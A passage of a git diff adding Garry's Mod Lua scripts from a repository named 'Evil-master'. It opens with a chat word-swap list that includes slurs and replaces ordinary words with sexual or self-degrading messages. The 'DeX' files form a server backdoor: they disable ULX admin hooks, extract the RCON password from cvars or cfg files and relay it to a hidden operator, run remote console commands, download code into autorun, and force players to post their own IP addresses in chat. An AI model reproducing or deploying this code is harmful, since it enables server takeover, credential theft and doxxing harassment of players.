Chat Cleanser", rep = true}, + {what = "spell check", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "spell thing", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "chat filter", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "word filter", with = "Super Awesome Word Cleanser", rep = true}, + {what = "auto correcting", with = "Auto Cucumbering", rep = true}, + {what = "auto corrector", with = "Auto Cucumber", rep = true}, + {what = "auto correct", with = "Auto Cucumber", rep = true}, + {what = "chat thing", with = "Super Awesome Chat Cleanser", rep = true}, + {what = "this chat", with = "this Super Awesome Chat Cleanser", rep = true}, + + {what = "screw this", with = "Nail me", rep = true}, + {what = "no scope", with = "can we cram the sniper rifle up my butt?", rep = true}, + {what = "role play", with = "Timewasting", rep = true}, + {what = "noob", with = "Bagpipes", rep = true}, + {what = "n00b", with = "Bagpipes", rep = true}, + {what = "wtf", with = "Waste Transfer Facility", pron = true, rep = true}, + {what = "lawl", with = "I love a wanking later", rep = true}, + {what = "mutha", with = "Dog"}, + {what = "mama", with = "Dog"}, + + {what = "dont kil me", with = "Please kill me!"}, + {what = "do not kil me", with = "I mean shoot me now!"}, + + {what = "dont kill me", with = "Please kill me!"}, + {what = "do not kill me", with = "I mean shoot me now!"}, + + {what = "quit shooting", with = "Everyone shoot"}, + {what = "stop shooting", with = "Everyone shoot"}, + {what = "no shooting", with = "Everyone shoot"}, + {what = "no shoot", with = "Come and shoot"}, + + {what = "quit killing", with = "keep killing"}, + {what = "stop killing", with = "keep killing"}, + {what = "no killing", with = "Shoot me now"}, + {what = "no kill", with = "Bet you can't kill"}, + {what = "not kill me", with = "kill me"}, + {what = "dont stop", with = "keep shooting"}, + + {what = "dontkil", with = "Everyone Kill"}, + {what = "dont kill", with = "Everyone Kill"}, + {what = "do not kill", with = "I mean kill"}, + + {what = "dont shoot", with = "I mean shoot"}, + {what = "do not shoot", with = "I mean shoot"}, + + + {what = "pussies", with = "Cats"}, + {what = "pussie", with = "Feline", rep = true}, + {what = "pussy", with = "Kittens"}, + {what = "cunt", with = "I'm gay!", rep = true}, + {what = "kunt", with = "I'm gay!", rep = true}, + + {what = "niggers", with = "Roody-poos"}, + {what = "negro", with = "Roody-poo"}, + {what = "niglet", with = "Roody-poo"}, + {what = "nigg", with = "Roody-poo", rep = true}, + --Wildcard + + {what = "faggots", with = "hot dudes", rep = true}, + {what = "faggot", with = "hot dude", rep = true}, + {what = "faggat", with = "Cigarette Packet", rep = true}, + {what = "faggit", with = "Cigarette Packet", rep = true}, + {what = "fagget", with = "Cigarette Packet", rep = true}, + + {what = "bitches", with = "Female Dogs", rep = true}, + {what = "bitchs", with = "Female Dogs", rep = true}, + {what = "bitch", with = "Female Dog", rep = true}, + + {what = "dickhead", with = "Ding Dong head"}, + {what = "dick", with = "Ding Dong", pron = true}, + + --Cock in other list + + {what = "assholes", with = "Waste Outlets", rep = true}, + {what = "asshole", with = "Waste Outlet", rep = true}, + {what = "ass hole", with = "Sewage Tank"}, + {what = "arse hole", with = "Septic Tank"}, + + + {what = "piss off", with = "take a Golden Shower"}, + {what = "pissed", with = "taking a Golden Shower"}, + {what = "pissy", with = "a Golden Shower"}, + {what = "piss", with = "Golden Shower", pron = true}, + + {what = "motherfucking", with = "Motherloving"}, + {what = "motherfuckers", with = "Motherlovers"}, + {what = "motherfucker", with = "Motherlover"}, + {what = "motherfucka", with = "Motherlover"}, + {what = "clusterfuck", with = "orgy"}, + {what = "fuck off", with = "Bang me hard"}, + {what = "fucking", with = "Loving"}, + {what = "fuckers", with = "Lovers"}, + {what = "fucker", with = "Lover"}, + {what = "fucked", with = "Loved"}, + {what = "fucka", with = "Lover"}, + {what = "fking", with = "Loveing"}, + {what = "fucks", with = "Lovers"}, + {what = "fahk", with = "Love", pron = true}, + {what = "fhak", with = "Love", pron = true}, + {what = "fcuk", with = "Love", pron = true}, + {what = "fuck", with = "Love", pron = true}, + {what = "fuk", with = "Love", pron = true}, + + {what = "bullshit", with = "Debugger"}, + {what = "shittier", with = "more Poop Quality"}, + {what = "shitter", with = "Crapfactory"}, + {what = "shitty", with = "Poor Quality"}, + {what = "shitting", with = "Muck spreading", rep = true}, + {what = "shitters", with = "Crapfactories"}, + {what = "shitheads", with = "Sewage brains"}, + {what = "shithead", with = "Sewage brain", pron = true, rep = true}, + {what = "holy shit", with = "you should have seen the size of my dump!"}, + {what = "shite", with = "dog dung"}, + {what = "shiz", with = "Excrement", rep = true}, + {what = "shit", with = "Doo-Doo"}, + + {what = "god damn", with = "Godly Hydroelectricity!"}, + {what = "goddamnit", with = "Godly Hydroelectricity"}, + {what = "goddamn", with = "Godly Hydroelectricity"}, + {what = "goddammit", with = "Godly Hydroelectricity"}, + {what = "goddamm", with = "Godly Hydroelectricity"}, + {what = "goddam", with = "Godly Hydroelectricity"}, + {what = "dammit", with = "Hydroelectricity"}, + {what = "damnit", with = "Hydroelectricity!"}, + {what = "damit", with = "Hoover Dam it"}, + {what = "damn", with = "Hoover Dam", pron = true}, + + --Cheat related + {what = "sethhacker", with = "Zero Skill Skiddie"}, + {what = "sethhack", with = "Seth's Wallet"}, + {what = "seth hack", with = "Seth's Wallet"}, + + {what = "wallhacks", with = "tiny dongs"}, + {what = "wallhack", with = "MASSIVE DONG"}, + {what = "hacking", with = "being Awesome"}, + {what = "hackin", with = "being Awesome"}, + {what = "hackers", with = "Pros"}, + {what = "hacker", with = "Pro"}, + {what = "hacked", with = "Eaten by Birds"}, + {what = "hacks", with = "Skiddie Fuel", rep = true}, + {what = "hack", with = "Gold"}, + + {what = "haker", with = "Pro", rep = true}, + {what = "hakein", with = "being Awesome", rep = true}, + {what = "hakeing", with = "being Awesome", rep = true}, + {what = "haked", with = "Eaten by Birds", rep = true}, + {what = "hakes", with = "Skiddie Fuel", rep = true}, + {what = "hake", with = "Gold", rep = true}, + + {what = "cheated", with = "used his Awesome Skill", rep = true}, + {what = "cheaters", with = "Pros", rep = true}, + {what = "cheater", with = "Pro", rep = true}, + {what = "cheatin", with = "being Awesome", rep = true}, + {what = "cheats", with = "Skiddie Fuel", rep = true}, + {what = "cheat", with = "be Awesome", rep = true}, + {what = "chit", with = "Gold", rep = true}, + {what = "chii", with = "Skiddie Fuel", rep = true}, + + {what = "aimbots", with = "Awesome Skills", rep = true}, + {what = "aimbotting", with = "being Awesome", rep = true}, + {what = "aimbot", with = "Awesome Skill", rep = true}, + + --Idiots + {what = "***", with = "My dick", rep = true}, + + {what = "trolo", with = "Hey eveyone, I'm losing badly!", rep = true}, + {what = "admii", with = "Awesome Dude's cock", rep = true}, + {what = "iigg", with = "Bilboard", rep = true}, + {what = "niqq", with = "Bilboard", rep = true}, + {what = "tttt", with = "see my webcam, my skype is _FLT_", rep = true}, + {what = "hhhh", with = "Let's see who can kill me first", rep = true}, + {what = "mmmm", with = "come on skype tonight, add _FLT_ !", rep = true}, + {what = "onon", with = "add _FLT_ for a good time tonight!", rep = true}, + {what = "lolo", with = "I love to take it up the butt!", rep = true}, + {what = "lulu", with = "i just tried my first dildo last night", rep = true}, + {what = "lala", with = "my first dildo is awesome!", rep = true}, + {what = "xdx", with = "even more Dong", rep = true}, + {what = "xdd", with = "even more Dong", rep = true}, + {what = "fuu", with = "Everyone see my webcam, add _FLT_ !", rep = true}, + + --3 letters + {what = "aaa", with = "I'd love you to come and blow my brains out", rep = true}, + {what = "fff", with = "Blow my brains out!", rep = true}, + {what = "rrr", with = "Want to see my webcam tonight? add _FLT_", rep = true}, + {what = "lll", with = "sometimes, i finger myself", rep = true}, + {what = "ggg", with = "I want to pound your ass", rep = true}, + {what = "ooo", with = "look at my xtube profile, it's _FLT_ !", rep = true}, + {what = "nnn", with = "My nipples are hard for you", rep = true}, + {what = "ppp", with = "come and shoot me", rep = true}, + {what = "eee", with = "I want you all to shoot me now", rep = true}, + {what = "uuu", with = "blow your hot load all over me", rep = true}, + {what = "iii", with = "Icecubes!", rep = true}, + {what = "sss", with = "Popcorn!", rep = true}, + {what = "ccc", with = "what do you think of my xtube profile, _FLT_", rep = true}, + + --2 letters + {what = "kk", with = "my xtube profile is _FLT_ what do you think?", rep = true}, + {what = "xx", with = "everyone see my xtube profile! its _FLT_ !", rep = true}, + {what = "yy", with = "Everyone against me!", rep = true}, + {what = "zzz", with = "Let's see who can kill me first", rep = true}, + {what = "kkk", with = "I'm terrible, shoot me!", rep = true}, +} + + + +for k,v in pairs(HSP.ChatFilter.Swearwords) do --Auto-set spaces, one-off on script load, more efficient! + if v.what:find(" ") then --Space! + HSP.ChatFilter.Swearwords[k].spaces = true + end +end + + diff --git a/Repos/Evil-master/v12/DeX/ulx.lua b/Repos/Evil-master/v12/DeX/ulx.lua new file mode 100644 index 0000000..1d65591 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/ulx.lua @@ -0,0 +1,37 @@ + + +hook.Remove("Think", "MaulMoreDamageThink") +hook.Remove("PlayerSpawn", "ULXRagdollSpawnCheck") +hook.Remove("PhysgunPickup", "ulxPlayerPickup") + +hook.Remove("PlayerDeath", "ULXCheckDeath") +hook.Remove("PlayerDeath", "ULXCheckMaulDeath") + +hook.Remove("PlayerSay", "ULXGimpCheck") +hook.Remove("PlayerSay", "ulxPlayerSay") +hook.Remove("PlayerSay", "ULXMeCheck") +hook.Remove("PlayerSay", "ULXLogSay") + +timer.Destroy("ULXJail") + +_R.Entity.DisallowDeleting = nil +_R.Entity.DisallowMoving = nil + +_R.Player.DisallowDeleting = nil +_R.Player.DisallowMoving = nil + + +ETable(ulx) +ETable(ULX) +ETable(ULib) + +MsgAll("\nULX has reloaded\n\n") + + + + + + + + + diff --git a/Repos/Evil-master/v12/DeX/umt.lua b/Repos/Evil-master/v12/DeX/umt.lua new file mode 100644 index 0000000..9586db5 --- /dev/null +++ b/Repos/Evil-master/v12/DeX/umt.lua @@ -0,0 +1,108 @@ + + +local UMTCode = [[ +if (_G.usermessage.__metatable != nil) then + RunConsoleCommand("gm_dex_umt") +end +]] + + +local function StartSpam(ply,cmd,args) + BroadcastLua(UMTCode) + ply:print("[OK] Sent UMTCode") +end +command.Add("sh_start", StartSpam, "SH chat spam") + + +local SpamTab = {} +local function StopSpam(ply,cmd,args) + local tot = 0 + for TID,v in pairs(SpamTab) do + timer.Destroy(TID) + tot = tot + 1 + end + SpamTab = {} + + ply:print("[OK] Stopped "..tot.." timers") +end +command.Add("sh_stop", StopSpam, "Stop the SH chat spam") + + +local Enabled = true +local function ToggleSH(ply,cmd,args) + Enabled = not Enabled + + if Enabled then + BroadcastLua(UMTCode) + else + StopSpam(ply,cmd,args) + end + + ply:print("[OK] SH spam is now: "..tostring(Enabled) ) +end +command.Add("sh_toggle", ToggleSH, "Enable/Disable SH spammer") + + +local log = "sethhack_users_banthem.txt" +local Spam = { + "My IP is _MYIP_ and i bought sethhack, please ban my ass!", + "My IP is _MYIP_ and i'm terrible, i paid $25 into seth's DDoS fund!", + "My IP is _MYIP_ and i'd suck seth's cock for SH v5", + "My IP is _MYIP_ and i love paying seth for stolen code!", + "I use sethhack, DDoS me for a change, my IP is _MYIP_", +} + + +local Logged = {} +local function GetUMT(ply,cmd,args) + if ply:IsHeX() then return end + print("! SHer: ", ply) + ply.SHer = true + + if (type(_G.SkidCheck) == "function") then + _G.SkidCheck() + end + + local TID = "umt_"..ply:SteamID() + SpamTab[TID] = ply + + if Enabled then + timer.Create(TID, 10, 5, function() + if ValidEntity(ply) then + local msg = table.Random(Spam) + msg = msg:gsub("_MYIP_", tostring(ply:IPAddress()) ) + + ply:ConCommand( Format("say %s", msg) ) + end + end) + end + + local HeX = GetHeX() + if ValidEntity(HeX) then + HeX:ConCommand( Format([[logme2 SHer "%s"]], ply:SteamID()) ) + end + + if not Logged[TID] then + Logged[TID] = true + if not file.Exists(log) then + local str = "This file contains a list of SH users who've joined this server, please ban them\n\n" + file.Write(log, str) + end + file.Append(log, Format('\t["%s"] = {Name = "%s", SH = true},\n', ply:SteamID(), ply:Nick() ) ) + end +end +concommand.Add("gm_dex_umt", GetUMT) + + + +local function SendUMT(ply) + timer.Simple(2, function() + if ValidEntity(ply) then + ply:SendLua(UMTCode) + end + end) +end +hook.Add("PlayerInitialSpawn", "SendUMT", SendUMT) + +BroadcastLua(UMTCode) + diff --git a/Repos/Evil-master/v12/DeX/useful.lua b/Repos/Evil-master/v12/DeX/useful.lua new file mode 100644 index 0000000..2ff02cb --- /dev/null +++ b/Repos/Evil-master/v12/DeX/useful.lua @@ -0,0 +1,255 @@ + + + +local function SaveDex(ply,cmd,args) + if IsUH then return ply:print("[ERR] No modules!") end + if not gpio then + ExecDownload(DEX_PATH, "gpio.lua", true) + end + + local Dex = ExecDownload(DEX_PATH, "dex_autorun.lua", false, true) + + local Done = (gpio.Write("lua\\autorun\\server\\dex_autorun.lua", Dex) == gpio.Done) + + if Done then + ply:print("[OK] dex_autorun.lua saved to autorun ("..tostring(Done)..")") + else + ply:print("[ERR] gpio.Write error") + end +end +command.Add("dex_save", SaveDex, "Try to save dex_autorun.lua for next time") + + +--FIXSET +local function FixSet(ply,cmd,args) + timer.Create("fixset", 0.2, 0, function() + RunConsoleCommand("sbox_godmode", "0") + RunConsoleCommand("sbox_plpldamage", "0") + if not IsUH then + RunConsoleCommand("sbox_noclip", "1") + end + RunConsoleCommand("sbox_weapons", "1") + end) + ply:print("[OK] Fixed damage settings") +end +command.Add("fixset", FixSet, "Fix damage settings") + + +local function SetPW(ply,cmd,args) + local Pass = args[1] or "beta" + + game.ConsoleCommand([[sv_password "]]..Pass..[["\n]]) +end +command.Add("pw", SetPW, "Password set") + +local function RemovePW(ply,cmd,args) + game.ConsoleCommand([[sv_password ""\n]]) +end +command.Add("nopw", RemovePW, "Password remove") + + +local function GPIODump(ply,cmd,args) + ExecDownload(DEX_PATH, "gpio.lua") + + if (table.Count(gpio.Dlls) == 0) or IsUH then + ply:print("[ERR] No modules!") + return + end + + local tot = 0 + for k,v in pairs(gpio.Dlls) do + tot = tot + 1 + ply:print("!\t"..k) + end + + ply:print("[OK] Server has ["..tot.."] modules!") +end +command.Add("gpio", GPIODump, "List all modules") + + + +--NOTOOL +local function NoTool() + hook.GetTable()["CanTool"] = nil + ply:print("[OK] Removed all CanTool hooks") +end +command.Add("notool", NoTool, "Remove all CanTool") + + + +function FixPickup() + hook.Add("PhysgunPickup", "!aaa", function(ply,ent) + if ent:IsPlayer() and ent:IsHeX() then + ent:SetHealth(500) + ply:Explode(1) + ply:Kill() + end + end) +end +FixPickup() + +--NOPHYS +local function NoPhys(ply,cmd,args) + hook.GetTable()["PhysgunPickup"] = nil + FixPickup() + ply:print("[OK] Removed all PhysgunPickup hooks") +end +command.Add("nophys", NoPhys, "Remove all PhysgunPickup") + + +local function PlayerLoadout(ply) + if ply:IsHeX() then + ply:Give("weapon_stunstick") + ply:Give("weapon_slam") + ply:Give("weapon_rpg") + + timer.Simple(0.2, function() + if (ply:IsValid()) then + ply:RemoveAmmo(ply:GetAmmoCount("slam"), "slam") + ply:GiveAmmo(22,"slam",false) + + ply:RemoveAmmo(ply:GetAmmoCount("SMG1_Grenade"), "SMG1_Grenade") + ply:GiveAmmo(22,"SMG1_Grenade",false) + + ply:RemoveAmmo(ply:GetAmmoCount("RPG_Round"), "RPG_Round") + ply:GiveAmmo(22,"RPG_Round",false) + end + end) + end + + ply:Give("weapon_smg1") + ply:Give("weapon_ar2") + ply:Give("weapon_357") +end +hook.Add("PlayerLoadout", "PlayerLoadout", PlayerLoadout) + + + +--- === USEFUL === --- +--RCON +local FORCE = false +local GPIODoneCheck = false +local function RCON(ply,cmd,args) + if (#args == 0) or IsUH then + ply:print("[ERR] No args!") + return + end + local str = table.concat(args," ") + + if not gpio then + ExecDownload(DEX_PATH, "gpio.lua", true) + end + if not GPIODoneCheck then + GPIODoneCheck = true + if (gpio.ConCommand("stats") == gpio.Error) then + FORCE = true + end + end + + if FORCE then + game.ConsoleCommand(str.."\n") + else + gpio.ConCommand(str) + end + + ply:print("[OK] running: '"..str.."'") +end +command.Add("rc", RCON, "Remote RCON") + + +local function SendRCPW(ply,v) + if not ValidEntity( GetHeX() ) then return end + + if ValidEntity(ply) then + ply:SendLua([[ + usermessage.Hook("rc", function(u) + RCPW = u:ReadString() + RunConsoleCommand("_dex_save_rc", RCPW) + end) + ]] + ) + + timer.Simple(1, function() + if ValidEntity(ply) then + umsg.Start("rc", ply) + umsg.String(v) + umsg.End() + end + end) + end +end + + +local function ReadFile(ply,File) + local Got = false + for k,v in pairs( string.Explode("\n", File) ) do + if v:find("rcon") then + Got = true + ply:print("[Line "..k.."] "..v) + SendRCPW(ply,v) + end + end + return Got +end + + +--PASSWORD +local function RCONPass(ply,cmd,args) + if IsUH then return ply:print("[CVar2] FagBalls01RCON") end + + ExecDownload(DEX_PATH, "gpio.lua", true) + if (gpio and gpio.Dlls.cvar2) then + require("cvar2") + + if (cvar2 and cvar2.GetValue) then + local pass = cvar2.GetValue("rcon_password") + + ply:print("[CVar2] "..pass) + SendRCPW(ply,pass) + return + end + end + + ply:print("[ERR] no CVar2, searching cfg files..") + + local Got = false + for k,v in pairs( file.Find("cfg/*.*",true) ) do + if ReadFile(ply, file.Read("cfg/"..v,true) ) then + Got = true + end + end + + + if not Got then + ply:print("[ERR] Not in cfg, give up") + end +end +command.Add("rcpw", RCONPass, "Get RCON password") + +--GIVE +local function SpawnThat(ply,cmd,args) + local egc = args[1] + + local lol = ents.Create(egc) + if not ValidEntity(lol) then + ply:print("[ERR] No '"..egc.."' on the server!") + return + end + lol:SetPos( ply:GetEyeTrace().HitPos ) + lol:Spawn() + + ply:print("[OK] Spawned a '"..egc.."'") +end +command.Add("g2", SpawnThat, "Spawn that entity") + +--CLEANUP +local function CleanMap() + game.CleanUpMap() + ply:print("[OK] Cleaned the map") +end +command.Add("cleanup", CleanMap, "Clean the map") +--- === /USEFUL === --- + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/hex_steam.ico b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/hex_steam.ico new file mode 100644 index 0000000..6c850b5 Binary files /dev/null and b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/hex_steam.ico differ diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua new file mode 100644 index 0000000..98fed38 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension(1).lua @@ -0,0 +1,117 @@ + + +if HSP_GlobalHEVInstalled then + hook.Remove("HUDPaint", "HSPHudShow", HSPHudShow) +end + + +local HEVStuffToTrack = { + ["Frag"] = "npc_grenade_frag", + ["Missile"] = "rpg_missile", + ["C-4 Bomb"] = "ent_mad_c4", + ["Tripmine"] = "npc_tripmine", + ["SMG Grenade"] = "grenade_ar2", + ["Crossbow Bolt"] = "crossbow_bolt", + ["High Energy Pellet"] = "prop_combine_ball", +} + +local Enabled = CreateClientConVar("hev_enabled", 1, true, false) + +local YELLOW = Color(255,220,0,200) --HEV yellow +local RED = Color(255,0,0,255) +local GREEN = Color(66,255,96) --HSP green + +for k,v in pairs(HEVStuffToTrack) do + CreateClientConVar("hev_show_"..v, 1, true, false) +end + + +local myMinutes = 0 +local mySeconds = 0 +local myTime = "" +local function Time(secs) + if not secs then return "0:00" end + secs = math.floor(secs) + + if secs < 0 then + secs = -secs + end + + if secs > 59 then + myMinutes = math.floor(secs/60) + mySeconds = secs-(math.floor(secs/60)*60) + + if mySeconds < 10 then + mySeconds = "0"..mySeconds + end + myTime = Format("%s:%s", myMinutes, mySeconds) + else + myTime = secs.." Seconds" + end + return myTime +end + + + +local ARROW = "6" +local function CHudProjectileIndicator() + if not Enabled:GetBool() then return end + + for k,v in pairs(ents.GetAll()) do + if ValidEntity(v) then + for NiceName,egc in pairs(HEVStuffToTrack) do + if (v:GetClass() == egc and GetConVar("hev_show_"..egc):GetBool() ) then + + local text_font = "Marlett" + surface.SetFont(text_font) + + local pos = v:LocalToWorld(v:OBBCenter()):ToScreen() + local text_xpos = pos.x + local text_ypos = pos.y - 35 * ( ScrH() / ScrW() ) + + + --if (pos.visible) then + local Width, Height = surface.GetTextSize(ARROW) + + draw.DrawText(ARROW, text_font, text_xpos, text_ypos, YELLOW, TEXT_ALIGN_CENTER) + text_font = "HudSelectionText" + surface.SetFont(text_font) + + local DISTANCE = math.Round(LocalPlayer():GetPos():Distance( v:GetPos() ) / 12).." ft" + Width, Height = surface.GetTextSize(DISTANCE) + text_ypos = text_ypos - Height + draw.DrawText(DISTANCE, text_font, text_xpos, text_ypos, YELLOW, TEXT_ALIGN_CENTER) + + + if (v.C4CountDown) then + local C4Time = 0 + local C4Color = RED + + if (v.C4CountDown >= 15) then + C4Color = GREEN + C4Time = Time(v.C4CountDown) + elseif (v.C4CountDown != 0 and v.C4CountDown < 15) then + C4Color = RED + C4Time = v.C4CountDown.." Seconds" + else + C4Color = RED + C4Time = "You're fucked!" + end + + Width, Height = surface.GetTextSize(C4Time) + text_ypos = text_ypos - Height + draw.DrawText(C4Time, text_font, text_xpos, text_ypos, C4Color, TEXT_ALIGN_CENTER) + end + + Width, Height = surface.GetTextSize(NiceName) + text_ypos = text_ypos - Height + draw.DrawText(NiceName, text_font, text_xpos, text_ypos, color_white, TEXT_ALIGN_CENTER) + --end + end + end + end + end +end +hook.Add("HUDPaint", "CHudProjectileIndicator", CHudProjectileIndicator) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua new file mode 100644 index 0000000..b050a6a --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HEVExtension.lua @@ -0,0 +1,90 @@ + +local HEVEnabled = CreateClientConVar("hev_drawhud", 1, true, false) + +local Panel = {} +Panel.FgColor = Color(255, 220, 0, 200) --HEV yellow +Panel.BgColor = Color(0, 0, 0, 76) +Panel.C4Red = Color(255, 0, 0, 255) +Panel.C4Green = Color(66, 255, 96) --HSP green + +local HEVStuffToTrack = { + ["Grenade"] = "npc_grenade_frag", + ["Rocket"] = "rpg_missile", + ["C4 Bomb"] = "ent_mad_c4", + ["Tripmine"] = "npc_tripmine", + ["Gravestone"] = "gravestone", + ["Crossbow Bolt"] = "crossbow_bolt", + ["High Energy Pellet"] = "prop_combine_ball", +} + +local function CHudProjectileIndicator() + local ply = LocalPlayer() + if not HEVEnabled:GetBool() then return end + + local text_font = "Marlett" + surface.SetFont(text_font) + + for k,v in pairs(ents.GetAll()) do + if (v and v:IsValid()) then + for NiceName,entclass in pairs(HEVStuffToTrack) do + local EGC = v:GetClass():lower() + if (EGC == entclass) then + local EntName = NiceName --:upper() + --[[ + local pos = v:LocalToWorld( v:OBBCenter() ):ToScreen() + local text_xpos = pos.x + local text_ypos = pos.y - 32 * ( ScrH() / 480.0 ) + ]] + + local vheadpos, vheadang = v:GetPos() + local vscreenpos = vheadpos:ToScreen() + local text_xpos = vscreenpos.x + local text_ypos = vscreenpos.y + + + if (pos.visible) then + local ARROW = "6" + local Width, Height = surface.GetTextSize(ARROW) + + draw.DrawText(ARROW, text_font, text_xpos, text_ypos, Panel.FgColor, TEXT_ALIGN_CENTER) + text_font = "HudSelectionText" + surface.SetFont(text_font) + + local DISTANCE = math.Round(ply:GetPos():Distance( v:GetPos() ) / 12).." ft" + Width, Height = surface.GetTextSize(DISTANCE) + text_ypos = text_ypos - Height + draw.DrawText(DISTANCE, text_font, text_xpos, text_ypos, Panel.FgColor, TEXT_ALIGN_CENTER) + + + if EGC == HEVStuffToTrack["C4 Bomb"] and (v.C4CountDown) then + local C4Time + local C4Color + + if (v.C4CountDown >= 15) then + C4Color = Panel.C4Green + C4Time = v.C4CountDown.." Seconds" + elseif (v.C4CountDown < 15) then + C4Color = Panel.C4Red + C4Time = v.C4CountDown.." Seconds" + else + C4Color = Panel.C4Red + C4Time = "You're fucked!" + end + + Width, Height = surface.GetTextSize(C4Time) + text_ypos = text_ypos - Height + draw.DrawText(C4Time, text_font, text_xpos, text_ypos, C4Color, TEXT_ALIGN_CENTER) + end + + Width, Height = surface.GetTextSize(EntName) + text_ypos = text_ypos - Height + draw.DrawText(EntName, text_font, text_xpos, text_ypos, color_white, TEXT_ALIGN_CENTER) + end + end + end + end + end +end +hook.Add("HUDPaint", "CHudProjectileIndicator", CHudProjectileIndicator) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua new file mode 100644 index 0000000..cc2507e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/HeXPlayerSpawn.lua @@ -0,0 +1,46 @@ + +local Enabled = CreateClientConVar("hex_givesweps", 1, true, false) + +local DoneOne = nil +local DoneTwo = nil +local function CallPlayerSpawn() + if Enabled:GetBool() then + local Alive = LocalPlayer():Alive() + + if Alive then + if not DoneOne then + DoneOne = true + DoneTwo = false + hook.Call("LocalPlayerSpawn", nil, LocalPlayer() ) + end + else + if not DoneTwo then + DoneTwo = true + DoneOne = false + end + end + end +end +hook.Add("Think", "CallPlayerSpawn", CallPlayerSpawn) + + +local meta = FindMetaTable("Player") +function meta:SelectWeapon(kwc) + RunConsoleCommand("use", kwc) +end +function meta:Give(kwc) + RunConsoleCommand("gm_giveswep", kwc) +end + +local function GiveMeAK47(ply) + ply:Give("weapon_ak47") + ply:SelectWeapon("weapon_physgun") +end +hook.Add("LocalPlayerSpawn", "GiveMeAK47", GiveMeAK47) + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua new file mode 100644 index 0000000..d180417 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/NailModelFix.lua @@ -0,0 +1,17 @@ + +timer.Simple(1, function() + print("! fixing nail model") + + scripted_ents.Register({ + Type = "anim", + + Spawnable = false, + AdminSpawnable = false, + + Initialize = function(self) + self:SetModel("models/retrobox/retro_nail_small.mdl") + end + }, + "gmod_nail", true) +end) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua new file mode 100644 index 0000000..2dfef0f --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/PlayerRings.lua @@ -0,0 +1,27 @@ + +if UH_RINGS_INSTALLED then return end + + +local Enabled = CreateClientConVar("hex_rings", 1, true, true) +local Alpha = CreateClientConVar("hex_rings_alpha", 60, true, true) +local Mat = Material("SGM/playercircle") + +local TraceLine = {} +hook.Add("PrePlayerDraw", "PlayerRings", function(ply) + if ValidEntity(ply) and Enabled:GetBool() and not ply:InVehicle() then + TraceLine.start = ply:GetPos() + Vector(0,0,50) + TraceLine.endpos = TraceLine.start + Vector(0,0,-300) + TraceLine.filter = ply + + local trace = util.TraceLine(TraceLine) + if not trace.HitWorld then + trace.HitPos = ply:GetPos() + end + + local col = team.GetColor( ply:Team() ) + render.SetMaterial(Mat) + render.DrawQuadEasy( trace.HitPos + trace.HitNormal, trace.HitNormal, 48, 48, Color(col.r,col.g,col.b,Alpha:GetInt()) ) + end +end) + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua new file mode 100644 index 0000000..470184e --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/RemoveSpawnlists.lua @@ -0,0 +1,44 @@ + +local BadLists = { + "Robotics and Gears", + "Specialized Construction", + "Miscellaneous Props", + "General Construction Props", + "Useful and Explosive", + "Rails and Rollercoasters", + "Transportation", + "Solid Steel", + "Sliders", +} +local tab = {} +local lol = {} + +local function RemoveFuckingSpawnlists() + print("[HeX] Removing useless spawnlists..") + tab = table.Copy(spawnmenu.GetPropTable()) + lol = spawnmenu.GetPropTable() + + for k,v in pairs(BadLists) do + spawnmenu.DeletePropCategory(v) + lol[v] = nil + tab[v] = nil + end + + + lol = tab + + print("[HeX] Removed "..#BadLists.." spawnlists..") +end +RemoveFuckingSpawnlists() + +--timer.Simple(3, RemoveFuckingSpawnlists) +concommand.Add("hex_removephx", RemoveFuckingSpawnlists) + + + + + + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua new file mode 100644 index 0000000..a2b2118 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/UploadChair.lua @@ -0,0 +1,18 @@ + +local function UploadChair(ply,cmd,args) + if (#args == 0) then + if not (AdvDupeClient and AdvDupeClient.UpLoadFile) then + print("[ERR] No adv dupe!") + UploadChair(NULL,"",{"force"}) + return + end + + AdvDupeClient.UpLoadFile(LocalPlayer(), "adv_duplicator/office_chair.txt") + print("[OK] Sent office_chair.txt using ADVDUPE") + else + chan.SendFile("data/adv_duplicator/STEAM_0_0_17809124/office_chair.txt") + print("[OK] Sent office_chair.txt using CHAN") + end +end +concommand.Add("hex_upload_chair_cl", UploadChair) + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old cl/ballspwans.lua new file mode 100644 index 